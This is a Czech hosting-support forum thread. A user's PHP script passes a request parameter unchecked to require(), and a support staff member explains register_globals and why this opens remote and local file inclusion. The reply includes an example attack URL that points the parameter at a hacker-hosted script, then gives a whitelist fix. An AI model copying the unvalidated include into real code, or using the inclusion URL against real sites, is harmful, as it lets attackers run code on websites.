Právě je 26 dub 2024 11:13

Všechny časy jsou v UTC + 1 hodina [ Letní čas ]




Odeslat nové téma Odpovědět na téma  [ Příspěvků: 2 ] 
Autor Zpráva
 Předmět příspěvku: require načte jen jednu stránku
PříspěvekNapsal: 03 lis 2009 18:23 

Registrován:
03 lis 2009 18:16
Příspěvky:
21
bude mi zde fungovat tento script?? web mám zatím rozběhlý přes hosts a zobrazí mi to jen home.php a po kliknutí na odkaz např. index.php?pg=ob.php se změní pouze url a nic se nestane...

Kód:
          <?
if (!$pg) {
        $pg = "home.php";
        }
require($pg); ?>


Nahoru
 Profil  
 
 Předmět příspěvku: Re: require
PříspěvekNapsal: 04 lis 2009 11:02 
C4 podpora
C4 podpora

Registrován:
29 čer 2009 20:53
Příspěvky:
263
Ve skriptu spoléháte na zapnuté register globals, které jsou defaultně vypnuté a doporučuji to tak ponechat. Stačilo by na začátek skriptu přidat:

Kód:
$pg = $_GET['pg'];


Skript není z hlediska bezpečnosti vytvořen dobře. Představte si, že někdo (nějaký hacker) zavolá skript s parametrem pg, kam zadá url svého skriptu (to se skutečně děje, že roboti zkouší zadávat jako parametry svoje skripty a snaží se tak ovládnout weby):

Kód:
http://www.nazev-vasi-domeny.cz/index.php?pg=http://www.hacker...ru/smaz_web.txt


To by mu umožnilo na vašem webu spouštět svoje skripty (v uvedeném případě je to skript, který je umístěn v souboru http://www.hackers...ru/smaz_web.txt). Např. by mohl kompletně vymazat obsah vašeho webu, měnit obsah skriptů, měnit obsah databáze atd.

U nás je standardně u každého webu nastavena konfigurační direktiva allow_url_include na hodnotu Off, takže nelze includovat skripty přes http protokol. Přesto je vámi uvedený přístup špatný:

[1] Může se stát, že někdy v budoucnu budete chtít přenastavit hodnotu direktivy allow_url_include nebo přemístíte stránky na jiný hosting, kde tato direktiva bude zapnutá. V ten moment budou stránky napadnutelné.

[2] I když útočnik kvůli vypnutému allow_url_include nemůže includovat svoje skripty přes http protokol, tak může includovat jakýkoliv jiný soubor na vašem webu (nemusí mít ani koncovku php), což může mít bezpečnostní následky. Např. si na webu přes nějaký formulář vytvoří textový soubor, kam se mu podaří umístit php kód a tento php kód následně spustí tak, že do proměnné pg nastaví cestu k souboru a spustí skript. Nebo bude moci includovat soubor, u kterého nechcete, aby byl dostupný běžným návštěvníkům (nůže to být ošetřeno přes autentizaci v .htaccess a .htpasswd, která ale nefunguje pro includování v php skriptech).

Proto bych doporučoval před includováním skriptu, který získáte z proměnné pg provést ověření, že název skriptu je jeden z povolených názvů, např. takto:

Kód:
<?
$pg = $_GET['pg'];
if ($pg != 'home.php' && $pg != 'kontakt.php' && $pg != 'blog.php') {
    $pg = "home.php";
}
require($pg);
?>

_________________
Jan Vítek
Webhosting C4
http://www.c4.cz/


Nahoru
 Profil  
 
Zobrazit příspěvky za předchozí:  Seřadit podle  
Odeslat nové téma Odpovědět na téma  [ Příspěvků: 2 ] 

Všechny časy jsou v UTC + 1 hodina [ Letní čas ]


Kdo je online

Uživatelé procházející toto fórum: Žádní registrovaní uživatelé a 0 návštevníků


Nemůžete zakládat nová témata v tomto fóru
Nemůžete odpovídat v tomto fóru
Nemůžete upravovat své příspěvky v tomto fóru
Nemůžete mazat své příspěvky v tomto fóru
Nemůžete přikládat soubory v tomto fóru

Hledat:
Přejít na:  
FTP Uploader
Staňte se naším zákazníkem!
Hledáme kolegy
PHP, MySQL Hosting
Návody pro C4

© 2009-2024 ČESKÝ WEBHOSTING s.r.o. Kontaktní e-mail: forum@c4.cz
Diskuzní fórum využívá technologie: phpBB, phpBB-SEO.com, phpBB.cz